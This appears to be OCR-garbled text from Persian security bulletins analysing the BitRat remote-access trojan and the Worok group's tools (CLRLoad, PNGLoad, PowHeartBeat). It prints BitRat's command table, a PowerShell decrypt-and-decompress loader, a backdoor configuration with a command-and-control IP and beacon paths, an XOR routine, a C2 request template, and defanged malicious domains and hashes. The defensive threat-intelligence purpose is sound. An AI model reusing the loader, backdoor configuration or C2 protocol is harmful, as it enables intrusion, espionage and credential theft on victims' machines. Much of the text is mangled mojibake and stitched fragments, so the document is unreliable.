offset (5Lis jl dword <5 ;> abgipe (yloyd o)lais g dgd 0 E9ydd 0,5 Offset +TOH I (yloyd U . auibl diibls cudrlas dium (yloyd e

1> L ddos_start )3 )g53e 6,5 yj @hlie )3 39450 0)u>d +28H

Offset+00 AQ 2E 30 00 00 71 3E 00 A0 2E 30 00 00 00 00 00 .0..g>. .0.....
Offset+10 64 64 6F 73 5F 7374 6172 74 00 00 00 00 00 00 ddos_start......

Offset+20 0OA0000000F00000085000000 .
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©lowdgi b olyao |y BitRat )13l (JyiiS aelyd gy ) J9a2 )3 40l3l )3 w30 pladl ploys o)ladd Gyb jl 1) Glla3 Jec BitRat

[ema Mame [raum Doscription
cti_up™ 0oH  |Update BitRat client.

s 011 |Reconnect to the 62 server

~cl_der 02H_ |pisconnact to the <2 sarver.

~eti_un~ |ozr  [uninstan mitrat ciient from the victm's aevice.
cli_steep” [0ar |Put the victim's system into sleep.

~eli_nib® 051 [Put the victim' system into hibernation.

~cii_tog" o5t |Have the victim's system to log out the current user.
~eti_rs~ 071 |mestart the vietim's device.

“ch_ofr josr the vicum's device.

~eli_bsoa” 051 |Make the victim's system crash with a blua screan.
~infor oA |Request for the basic information of the victim's device.
~drives_get” ost |List drivers, like "o, "BA" and ete.

files_oxoc locH_|Exacute a file on the victm's disk with given paramaters.
“hies_delete_normar |oFn  |oelete s fed fie.

“files_delete_secure”  |10M  |Delete a specified file with a security way.
“files_rename" 111 [Rename a file.

~fles_new_a 1211 |create a folder.

~files_zip~ 131 |Make a zip archive of a file.

“files_zip_dir 141 |make a zip archive of a foldar.

~filos_got 15H  |ust files under a specified path.

“files_search" 16H |search files by filter string.

~files_search_step” 171 |stop fie searching.

“files_aownicad 181 nsfer a file fram the victin's device 16 the G2 server
~ries_upicaar 1AH_|Transfer a file from the C2 server onto the victim's device.
~pre_tise 10H  |Ust running processes.

“pre_suspend” 1EH  |Suspend a process with its PID.

“pre_rosuma~ 1FH_ |Resume a suspended process with itz PID.

“pre_priority" 201 |set a process's priority with a given PID.

“re_kin® 2111 |kill a process with its PID.

“pre_restare 22+ |mestart a process.

e _tise 2514 |Uist system services on the victm's devic

s _start” 2at__|start a serviee.

“srv_centrol” [zsr|pause. stop. continue a service.

“wna_tise 274 |ust all windows being opened on the victim's device.
~wmd_cmd™ 281 |Control a window. such a= hide, show, maximize, minimize, etc.
dlexect 2AH  |Download and execute an executable file.

~screentive” 2CH|start screen capture.

macreentive_stop™ 26H _|Stop sereen capture.

“screentive_monitor” 261 |start screentive monitor.

“screentive_size™ 2Frn [set screentive size.

screentive_quality” 201 [set screentive quality”

Facreentive_curser” 315 [Set screentive cursor te show or hide.

“screentive_color 321 [set screentive color to gray or colar

“screentive_ctick” 351 |simulate to perform mouse click on screenlive windows.
“screentive_move 26h__ |move screenlive to a given position.

"screen_preview_start” [asH

Start screen preview.

“screen_praview_stop” [aon

stop scraen previaw.

"monitors_refresh™ 280

Refresh monitars.

~webcam_aevices acH

List webcam interfaces.

“webcam_quality* 20H _ [set webcam quaiity.
" webcam_start” 2en [start webcam capture.
Fwebcam_stop" 5r1 |stop webcam.
~kigotr_tist 431 |uist ofmine keylogger files.
“rigofr_get [a2t4__ |rransfer an offine keylogger file.
“kigaff_di_all lasr|rransfer all keviogger files.
"kigoft_der” 46+ |Delete an offline e,
“kigontinastart” [asri [start the online keylogger
Kigonlinestop"™ lasti_ |stop the online keylogger
[aAH  |search keywords in keylogger data.
laon st audio devices,
[aen  [start o remote choll on the victim's device.
art1 |stop the remote shell.
SoH _ |Exeucte a command trhough the remote shell.
514 |ustan with network
logins_data® lsar|collect the credentials from apps on the victim's device.
"ord_logins_req” 65+ [Transfer the
“remotebrowser [6oH  |[Remotely start the victim's default browser invisible.

"remotebrowser_stop” _|sEH

stop the remote browsers.

“remotebrowser_key"  |6FH

Press a keyboard key on the remote browser.

“remotebrowser_cnck”  [7on

chiek on the remate browser.

“remotobrowser_quality”| 724

ot the ramote browsor quality.

Fettinga" 785 |configure the BitRat client
~sor_tist” 791 [List the installed software on the victim's device.

soft_uninstall” 7AH __|Uninstall software from the victim's device.

“reg_hkeys_got® 7er [obtain a list of HKEYS (Handles to the Keys) of the victim's system

registry.

"res_keys_root_get’ 7681 |uist the root keys under a HKEY of the system registry.
“res_keys get- sor |Mavigate a sub-key of the system registry.
rog_val_edit” 211 |add a value into the system registry.
“res_val_der 5211 |Delete a value from the system registry.
“res_key_ada” 531 |acd a sub-key into the system registry.
“ree_key_ae 321 |Delete a sub-key from the system registry.
ddos_start a5+ |start a 0DOS attack from the victim's device.
~ddos_stop aoH|stop the DOOS attack.
"bypass 5711 |attempt the UAC bypass using exploit.
pre_protect™ st |protect a process.
etk a9t |kill the windows defender service.
~autoruns rea 9211 |collect o list of auto run progress from the system registry.
“autoruns_data 531 |request the aute run data.
“autoruns_del 5411 |Delete an auto-run item.
s _tist’ 951 [List the tasks from the system Task Scheduler of the infected
system.
“rask_aer 9611 |Delete a task from the system Task Scheduler.
~spread 5711 |spread use.
581 |change the desktop background of the victim's desktop.
551 |Turn off screen.
56+ |Close the browsers such as Chrome, Firefox, Edge, Opera, IE, Vivaidi|
rave, Chromium, Torch, UcBrowser and claan its data.
514 |obtain notes that were set to the victim’s device.
901 |set notes to the vietim device.
[5Ft1 [Open a website with the default web browser on the vietim's
aevice.
"vol_sdit (Aot |change master volume.
~msgbox- Inat1 |oisplay the victim a message box with a
“clipboard_get” A2t |obtain the system clipboard data from the victim's system.
inji [aat1 [inject a dil into a specified process or all process
“chat_start” [Asti|Pop up a chatting box to the victim.
~enat_msg" [aan |chat with the vietim using the chatting box.
"chat_stop [aer|stop charmng.
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(Domain) aiels

vncgogal.]duckdns[ ]Jorg:1338

mubbibun[.]duckdns[.Jorg:999

danseeeee[ Jduckdns|]Jorg:2022

maraipasoo[ ]duckdns[.]Jorg:890
hxxps://taxfile[ Jmediafire[ Jcom/file/6hxdxdkgeyq0z1o/APRL27[]htm/file
hxxps://www[ ]Jmediafire[.Jcom/file/c3zcoq7ay6bnql9i/back].]htm/file
hxxps://www[ ]Jmediafire[ Jcom/file/jjyy2npmnhx6049/Start[.]htm/file
hxxps://taxmogalupupitpamobitolal.]blogspot[. Jcom/atom[ ]xml

(Hash) jLopm,s

[Remittance-Details-951244-
1.xlam]:8007BBOCAABAT456FFC829270BE2E62D1905D5B71E9DCIOF9673DECIAFBF13BFC

[APRL27.htm]: D71ADD25520799720ADD43A5F4925B796BEAT1BF55644990B4B9A70B7EAEACBA

[mainpw.dll]:3D71A243E5D9BA44E3D71D4DA15D928658F92B2F0A220B7DEFEQ136108871449

https://www.fortinet.com/blog/threat-research/phishing-campaign-delivering-fileless-malware

https://www.fortinet.com/blog/threat-research/phishing-campaign-delivering-fileless-malware-part-two

newsroom.shabakeh.net


https://www.fortinet.com/blog/threat-research/phishing-campaign-delivering-fileless-malware
https://www.fortinet.com/blog/threat-research/phishing-campaign-delivering-fileless-malware-part-two

\Fol o0 |

V93 splojw 4

(Sl LEL oyl (S0 b g 639y Jleb YoVo Jlu jI JBlas oS wiles,S (alwlich |y (gaiasasm @ias sl (ESET) el oldiswe

a5 Lol Wid oS (wowl> 09; S bwgd Ol ¢l 351631y )8 Bad 3)g0 Blisygls dihio das jl alizwe (oygiS )3 1) (plolejl
.Dleauel Worok ) UT Cugl lidowe g 634 plool g

SWas Rl ()0 @ 0303)5 4ugd (69002 by (Sl (630) Cpo jSyo g yiuuS aSudb Gwlige S (5)ao b a5 ()15 ol )

Ll sadb aisly )y

9 5| Glaapd uyiws» Sy CLRLOAD ol & CHt ouiiS ()15 Sy Jalis WOTOK 09,5 bauwgs o1is widS)Iy )ljal acgazs
Steganography 4 pgwge Lol (¢)5550) (5895 jl 5 il 0 PNGLoad pb 4 C# jlailel, S 9 PowHeartBeat «b « PowerShell

A.USL)A aslaiwl PNG (_gLQ)d.glé ) Oy A ()95 Ule,u (_g|).g

MBS @ a5 A samline APT lalidue (sloog)S l (plowdled (CVE-2021-34523 awlis 4y ProxyShell (g il lidl Job )5
GRS 9 DMaz (5392 dinbam wled (yloj ubad (SSyidio (SGSRY IS Ke® (92 3L kSye TAA28 iaz (6550 09)S b w0

23> ShadowPad
So 9 (_g)'huosgﬂ N TA428 (_g).is‘b 09; Cawl u9ln,w )L;.m.) ;byilbﬁ 4~L9,S)|SJ Worok ULAD[Q/O h.wg) as L).gLQ))]).;I dcgozno aud)
i8S )15 53 TA428 09,3 3iblew |y () ol a5 Gt aidysin (15 651301 & WOrok (Jg cuisls eis)live Yol's Jus ;> Able Desktop

03iiS(6)l5)L 5> a5 mutex I Worok glgic b (5@ 09)S ¢l pU .aibl €idbls Syt (sloylil Cunl Sae 69,5 95 (! Jlo ¢l L
05 lej B g 639y Jled YoVo Jw y5lgl 51 WOroK «own ¢l ¢ylddoe 51 J&5 a0 .l 604 4185, «aid,S )1)8 oslaiuwl 3)90 4T (Loader)

el J1s5 gliznad GilS o

newsroom.shabakeh.net


https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34523
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aPNG image

Execution chain 2
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script embedded in
aPNGimage

CLRLoad

3929 (5w FF g PV dsud 93 4 53 oS cwl WINdows & bayye PE <G g oaud disogs CH+ ()b @ 45 cunl (¢loaiis)lis,b CLRLoad
S5 3 9 Sd (59 p 45 L 15 (¢l .asbe Common Language Runtime (CLR) assembly €95 51 DLL (Jalé g8lg )5 g 351>
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https://docs.microsoft.com/en-us/dotnet/standard/clr
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L W yune (pl 39850 Egpid a5 ()1 35)L (g3 dl>yo ) o (lgize a5 LB JolS jume (nLiSje) U CLRLOAd (glodigas jI (x5
120b (50 ) Blad yio b 63 (LiSiey g @ Jold (glasume g 50 (61515 digad o 53 Wglatie S SO L g (b S5 XOR SO

C:\Program Files\VMware\VMware Tools\VMware VGAuth\xsec_1_5.dll
C:\Program Files\UltraViewer\msvbvma80.dl|

C:\Program Files\Internet Explorer\Jsprofile.dll

C:\Program Files\WinRar\RarExtMgt.dll

C:\Program Files (x86)\Foxit Software\Foxit Reader\lucenelib.dll

o 1oy HST S o (uyp |y MULEX ¢l 6315 ()l 35)L . g4 50 63dlie Ciglatie (ol digal o 53 g 6 Szl MUtEX SO Wy d=yo >
o saolie WOOrOKGWhYGO b b mutex <o davdigas 51 (S0 53 .3gd 50 &) (g «al izl Jlo )5 i 1 001 (6135 iy
Ll o0 Caidlsy 5l ladse |y WOrok b a5

51 CLRLOAd @asis caupde 35 lgic a1 .2iS(se (6)135)L 0 (liSio, Ylais! b yuuo jI 1) CLR Assembly <o CLRLoad (uwe
FF ez > CLRCreatelnstance (Slg>hé b (siw YV (gloasuws > Windows API > CorBindToRuntimeEXx (lg>1)é 61,k
oo ol (s

PowerShell g5 ;! jlooyas (0yins sPowHeartBeat

() w0 3ind b (salite (LSS jl oslatwl b g iS50 @@l)d 1) «jlooyud (o yiwd» 0l didgs PowerShell )» «5 PowHeartBeat
gz (5)lml oleic 4 PowHeartBeat Worok .l glao)lj)ls ) wungl ¢yladso jI 85 @ .l 034 (gjlwagro )l 3535 ¢ (5)l3550,
el 034 CLRLoAd (10;50l> (PNGLoad (gjllel

«)303S slayl Gl 0 (6))3535 basebd g 4 oS sl PowerShell o5 4S5 iz Jolid «jlovoyué (uyiuws» 35 4V gl

39‘“’(:‘" ])?l ) di.w A lad 6340 (Sjl‘”f‘w AS)I (S)i?,-) Y ;S)Iﬁﬁjl UM 9 .)9mb,o I)?| [EX @J)b )‘] .)Swl

function install-scapy243([String] SpyDatalog0l7l, [String] Sentrypoints03, [String] Swebsocketclient0560, [Byte $dpkt192)

Storch120cpu = [Convert]: :FromBase64String(Swebsocketclient0560);

Sencoding = New-Object System.Text.ASCIIEncoding;

SderivedPass - New-Object System.Security.Cryptography.PasswordDer iveBytes(SpyDatalog0i71, Sencoding. GetBytes(Sentrypaints03), "
Byte §scikitlearn021 $derivedPass . GetBytes(16);

$P1110wB10 - New-Object System.Security.Cryptography. '|'r|p1=DESCryptuServv;eFravwder

5Pi110w610.Mode = [System.Security.Cryptography.CipherMode

[Byte[]] Spyparsing242 = New-Object Byte[](Storchi20cpu Length)

$g = $P1110w610.CreateDecryptor($scikitlearn0213, Sdpkt192);

$1 = New-Object System.I0.MemoryStream(Storchi20cpu, $True);

$3 New-Object System,Security.Cryptography.CryptoStream(Si, $g System. Security.Cryptography.CryptoStreamode Read);
$r = $j.Read(Spyparsing242, 0, Spyparsing242.Length)

$i.Close();

$3.Close();

$Pi11ow610.Clear O;

Sms = New-Object System.IO.MemoryStream;

Sms Hrue[snynar ing242, 0, Spyparsing242.Length);

$ms.Position - 0;

Sgs = New-Object System.IO.Compression.GZipStream($ms, [System.IO.Compression.CompressionMode]::Decompress);
Smem = New-Object System. 10.MemoryStream;

Sbuf = New-Object byte[](4096);

while (§True)

{[int]SintRead = Sgs.Read(Sbuf, 0, 4096);

if ($intRead -eq 0){break;}

Smen.Write(Sbuf, 0, SintRead);

J[Byte[]] Sjupyternbextensionsconfigurator0sl-$men. Toarray();
Smen.CloseQ);
if ((Sjupyternbextensionsconfigurator04l.Length t 3 upyternbextensionsconfigurator041[0’ OxEF) -and ($jupyternbex

return Sencoding.GetString(Sjupyternbextens mnsmnnwamo_ ) TrimEnd( Char] 0);

3gd( 50 (2UWiSiey (CBC cuswdg) Triple DES_L Gugw g 3iS(50 (2UiSio) 1) 395 (camy a0V 35 w0ais (5)l3535 base64 iz pgs 4y
oo &5 PowerShell a5 pgw €V wud)d ol © 9 3950 )5 03, cll )‘l GZip @inyoSl 51 oslaiwl b 35 ¢l UiSiey 51 (w

Gl uoyiandy Olygiwd S g (g3inyS 19050 paunds Lol (iasy

)90 @ g 0 Syl il (;=8lg Glowoyas (uwyiwd»
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https://en.wikipedia.org/wiki/Triple_DES
https://en.wikipedia.org/wiki/Gzip
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yokiles S0 83laiwl C&C joyuw b bL3)l (gl ICMP L HTTP jl g oak aiiogs PowerShell ) 15 «jlowoyue (uyiwd» 35 Sbol 4

G398 oAk 2o ) Joaz .l C&C Sl 9 Sy (s)lis (g3iS

«—— 2. Response: command to execute

—— 3. Reply with command result as content —

Backdoor

Field name

forher samples)
Clienstd

Zxeetines

ol 0345 031> (i 5 S5 ) oS

1. Request for command —— ——

4. Confirmation of reception ———— (g&cC server

s 0)ladd dlas I a8 iz Jold (6330, (ol

A (50 oy Lalite (gldddu )3 )

Description
Unused

Client iden

 used o the falkowing
1 CONSHIUCHING The Coocin. hmader fOF CAC COMMUNICAtONS
s ayplographic artiact for sent data encrypUion,

ersien number of Pawteartacat

Nurmber of allowe execution attempts when issing 3 uscus (cormmand runming) command

User agent usad for CLE communications

ez u: headar usad for CAC communicaions.

Unused

cesiia header for C&C s

urlicees Protocol to use for C&C communications.
—— URL B0MAIN(S), 0 IR 300TESS S5 A5 ThE CAC Srver If o e £ N0F BMPTY, IE1S CToS8N INstead ot
e Eencacesa I oL cass Zrssress i Lker
o aseshe cac
pesai UL athe cac erver
o Complete URL used by Paw=earteal Lo request commands fram the CACserver. [Lis U

ProxyTassleTlan

ER—

smcracray

Tizeq

Tezsgrilerata

Leggath

Fraayrile

concatenahion of the URL elements above

Same a5 xww=1 but used tosend the results of the command back o the C2C server,

Unused

Flag indicating whethe the backdoor must use 3 prexy or Aot in order Lo communicale with the CEC

Aiess of the prowy Lo Use I ExoxyEnasl=Flag s sello Strue.

Time in secards that the script seeps for between GLT requests

Path tn an optional configuratian fe contai
Those values wal be averndden if the hie s

Time ot azy
cacsenver,

P maaring 1

“Time of day until which the backdoor can aperate, meaning the time when i stops making regussts to
Uhe ZEC server

Index of the currant domain rame ta use for communications withhe CAC server In case 2 requast
FERLATIS.AN CITAT MeSSAG GHTESENT 10 374 { HOT MOBNETL bomas T n s S METEASED

ey usad to decrypt ercrypt the configuration. Canfiguration is ercrypted with multiple byte XCR,

Unused

Flag indicating wnether Iogging is enabied

Patn ofthe 1og fic.

Fila path of the aptional proxy
elvieves Ue user's proxy sel

uration. If it s ampty of ot found In th il syssam, the hackdsor
e replily value ROT L aafrvazs i m e i nane

Flag indicating whether (o use & configuration fle.

Lawl 0240 83130 (i Wb se ) e (hld a5 1) PowHeartBeat digas G jl said gl (g2i)Sy aolsl s

SHA-1: 757ABA12D04FD1167528FDD107A441D11CD8C427
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SScript:nouse = 100;

if(Test-Path SMylnvocation.MyCommand.Path){Remove-item SMylnvocation.MyCommand.Path -Force;}
SScript:Clientld = "83";

SScript:Version = "2.1.3.0003";

SScript:ExecTimes = 10;

SScript:UserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome
/69.0.3487.100 Safari/537.36";

SScript:Referer = "www.adobe.com’;

SScript:AcceptEncoding = "text/html,application/xhtml+xml,application/xml;g=0.9,*/*%q=0.8";
SScript:CookieClientld = "s_ecid";

SScript:CookieTaskld = "aam_uuid";

SScript:CookieTerminalld = "AAMC_adobe_0";

SScript:UrlHttps = "http://";

SScript:UrlDomain= " 118.193.78[]22:443";

SScript:UrISendHeartBeat = '/latest/AdobeMessagingClient.js";

SScript:UrlSendResult = "/content/dam/offers-homepage/homepage jpg’;

SScript:GetUrl = $Script:UrlHttps + SScript:UrlDomain + SScript:UrlSendHeartBeat;
SScript:PutUrl = $Script:UrlHttps + SScript:UrlDomain + SScript:UrlSendResult;
SScript:currentPath = Split-Path -Parent SMyInvocation.MyCommand.Definition;
SScript:ProxyEnableFlag = Sfalse;

SScript:Proxymsg;

SScript:Interval = 10 ;

SScript:BasicConfigPath = "C:\ProgramData\unins.dat";

SScript:UpTime = 0;

SScript:DownTime = 24;

$Script:Domains;

$Script:Domainindex;

SScript:SecretKey = "###ConfigKey###';

#SScript:IfLog = Strue;

SScript:IfLogFilePath = "C:\ProgramData\tpncp.dat’;
$Script:logpath = "C:\ProgramData\unins000.dat";
$Script:ProxyFile = "C:\ProgramData\hwrenalm.dat";

SScript:IfConfig = Sfalse;

oasly (S)I.:\j}ﬁ)

S50 (6)1550) 1) (5300, ol (slgize g abgyye (sl SY PowHeartBeat

Gl YO8 )T SO 953 3ulS 3gd50 (6)l3S50) wadd Hatuie Blak (yie y3 a5 (¢3S L g L 3z XOR @b jl SY bbb (glgize
)L).ﬁA (_;l)b a5 OT .).415 9 b—"’b A XOR @J)b jl (_;A.AJ)LJ dJlQ L;ls;im A.wbb,o ULWS_) 0 sl lio (5LD4J9AJ PLQ:). ) 45 Cawl
94850 (513550, el SecretKey
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(§)13550y bL3)l 3)50 93 1@ 55 . 00 5 ICMP @ Guaw g 23S0 o3latiwl HTTP 51 C&C wlbls)l (gl ¥/F aws 5 PowHeartBeat

| 63550

HTTP

($)13550) Euoly A5 50 LolES |y (Sloyd j93u0 (C&C joyw 4 GET cawlgs)s SO Jluyl (paud jloopue uyiwd» (oliols ddls S >
S2 Bkl of glgize (BB S0 )3 plop 529)2 bl 9 pleyd LI s 9 d9de (RLESHe) Glareyld (uyiwdr buwgs o
2L 50 2 Wygo © GET (slocunlgs)d cunyd dgi 50 Joyl C&C jgpw 4 POST wuwlgs)s

GET <UrlSendHeartBeat> HTTP/1.1
User-Agent: <UserAgent>

Referer: <Referer>

Host: <Domain>

Cookie: <CookieClientld>=<Clientld>
Connection: close

Ll 0040 dislw pliad (6330w (walid jl edlatiwl b locuwlgs)d a5 3ubl aidbly azgs

i dy Jawgs odds Ghjldy jeiwd g odddb sl command_id «5 cuwl (jloyd dwliid dgime ol (yuogw (C&C jopw Guwl >

(oSl U lgizo ol L3gibise JUoyl 03 (0130 g @2 glegST o glgic @ Gy 1 03leBL (slginne 3030 L |y ¢jlanape
ol 034 (6)138L (g330)Sw ;> CookieTaskld jlabe jl (w45l (5595 jlade taskld wadib (6)l3S5e) »j JSai 53 634 031> (4L

ofint] Spos = Staskid % 256;
for (Si = 0; Si -It StmpBytes.Value.Length; Si++)
{

Spos = Spos + Sclientld;

if (Spos -ge 256)

{

Spos = Spos % 256;

}
StmpBytes.Value[$i] = [byte]($tmpBytes.Value[Si] -bxor ShexEnc[$pos]);

}

CookieTerminalld pb 4 «jlowoyué (uwyiwd» (30w juio bwgi ol b a5 cuwl (6505 (,So5 (s9l> C&C Hopw duwly (yuizeo
)9 (Sl)gl )‘l o A S L 9 ‘)9’“’60 )I)SJ <<)L>ua).\_c (W) d» 4 bsg),o POST L‘_;uu|9'>).) N L:S9S CHI )L).BA Cawl 6340 Uamm
<command_id>.png b L LB &g a4 a2 A0 Jwyl C&C jgpw 4 POST Cauwlgs)s SO lgic @ 1y axus PowHeartBeat

59‘*’(}"’ dlw)l
ICMP

6 (gaaekb e g (clawl L (Siloj 6jL (ghld (Il clddimg g 63u (1350l ICMP L HTTP (¥/F asxws j| PowHeartBeat >
A2y @ V/F glddsund )3 (glodac ;s aue g Cunl Siuiel (sl Saly (35 593 (g (5laisS dICMP @b 5l bL3)l b Jlais] 4 35l e
Ll 63 Slaul 35 )5 (Sl (ldmo I 85 Lol 3,185 S99
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A ) JSib Al (i0y8 (chls dius ¢yl

2 53 S @ bgye Flag a5 (Jls ) sl wglaie diga o )5 Caip)S dwlidh a5 Cuwl ¢l CiolS Flag g caipllS duwlish (o wglas
o Gunly .l heartbeat Juo)l Jlo )3 ¢jlooyue uwyiws» a5 3350 ¢liv hearbeat Flag .cwl sy dICMP (glodigas j1 Sy

.\Jwbb.a ») LJS.UJ AWle (_,_m)s (Sl)l-‘ C&C

0 2 4 6

oy (hld (paolyd €8l (gl ewlg>)d s b )l 3959 Glowoyud wyiwd» 4 )90 (gl (Hleyd LT a5 3310 i l=il > flag
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dibe (Command Identifier) oloy awlids w31y cob ¢aogw HTTP (sloguwl sible

4183 ;155 55 024 plad C&C jgymw 9 «jloxoyue (uoyiwd» (p JEDI (4adlite Canyd b by (> (slgizoe b ICMP Jlgio duwly cuao i Gy
D90

2l iy 9 0add (Joawd POSt Cumidg @ jopw Cusdg C&C Hopw 03 H3lo (yloyd douD Jw)l cags locwles)s U..s)f JU-SRNE)
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Cmd 0x02 Execute a PowerShell command.

Exe 0x04 Execute a command as a precess.

FileUpload 0206 Upload a file to the victim machine. File content is gzip-compressed.

Download a file from the victim machine, and return file path, file length, creation time,

i 0x08 :
FileDownLoad * access times, and file content to the C&C server.

Get file information of a specific directory, in particular:
- Filenames
FileView 0x0R - File attributes
- Last write times
- File contents

FileDelete 0x0C Delete a file
FileRename 0x0E Rename or move a file.
ChangeDir 0x10 Change the current working location of the backdoor.

Get a category of information according to the specified argument:
-"Basic information™ clientId, version, host name, IP addresses, explorer. exe Version
and size information, OS (architecture and flag indicating if the machine is a server),

Info 0xl2 Interval, current directory, drive information (name, type, free space and total size),
current time
- "Time-Interval information” Interval and current time
- "Domain information”: decrypted configuration file content

Config Oxlé Update the configuration file content and relead the configuration.

NJ/A 0x63 Backdoor exit
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	برخی از علائم آلودگی (Indicators-of-Compromise – به اختصار IoC) به شرح زیر می‌باشد:
	num15 = (int)PA.LX99ujNZ7X3YScj6T4(PA.ResumeThread, PA.vgxYHnXuOV51G6NIu3("010010010110111001110110011011110110101101100101"), CallType.Method,
	new object[]
	{
	processInformation.ThreadHandle
	دامنه (Domain)
	درهم‌ساز (Hash)


	در شهریور 1401 شرکت‌های زیر اقدام به عرضه بروزرسانی و توصیه‌نامه امنیتی برای برخی محصولات خود کردند.
	مایکـروسافت
	سـیسـکو
	سـوفـوس
	بـیـت‌دیـفـنـدر
	وی‌ام‌ور
	مـوزیـلا
	گـوگـل
	ادوبـی
	اپــل
	گزارش فصلی شرکت Trellix برای تابستان 2022 منتشر شده است.
	ادغام شرکت McAfee Enterprise و شرکت FireEye به‌عنوان دو قدرت امنیت فناوری اطلاعات تحت برند Trellix که در اواخر سال گذشته رخ داد نویدبخش آینده‌ای روشن در مقابله با تهدیدات سایبری است. ضمن آن که اطلاعات انبوه شرکت جدید Trellix و دامنه گسترده محصولات و م...
	در این گزارش، بخشی از یافته‌های محققان Trellix و آمار تهدیدات فعال طی سه‌ماهه اول ۲۰۲۲ ارائه شده است.
	آن چه در سه‌ماهه اول ۲۰۲۲ گذشت نمایانگر تکامل هر چه بیشتر تاکتیک‌ها و تکنیک‌های بکار گرفته شده توسط مهاجمان حرفه‌ای از جمله گردانندن باج‌افزارهای مخربی است که به‌طور کاملاً هدفمند قربانیان خود را انتخاب می‌کنند. برای مثال، در دوره مذکور، بر شمار باج‌ا...
	از نکات قابل توجه در خصوص این شماره از گزارش فصلی Trellix ارائه فهرست ۱۰ آسیب‌پذیری با بیشترین احتمال بهره‌جویی توسط مهاجمان است. با توجه به کشف مستمر آسیب‌پذیری‌های امنیتی جدید در محصولات مختلف، اولویت‌بندی نصب اصلاحیه‌های لازم اهمیت ویژه دارد. در ان...
	همچنین در این گزارش به روش مخرب «کسب روزی از زمین» (Living off the Land - به اختصارLotL ) پرداخته شده و آمار مفیدی ارائه گردیده است. در روش LotL مجرمان سایبری از توابع و برنامه‌های عادی و سالم در سیستم قربانی برای انجام عملیات مخرب خود بر روی آن سیستم...
	در بخشی اختصاصی از این گزارش نیز اصلی‌ترین تهدیدات مبتنی بر ایمیل در سه‌ماهه اول ۲۰۲۲ مورد بررسی قرار گرفته است.
	برای دریافت این گزارش بر روی تصویر زیر کلیک نمایید.



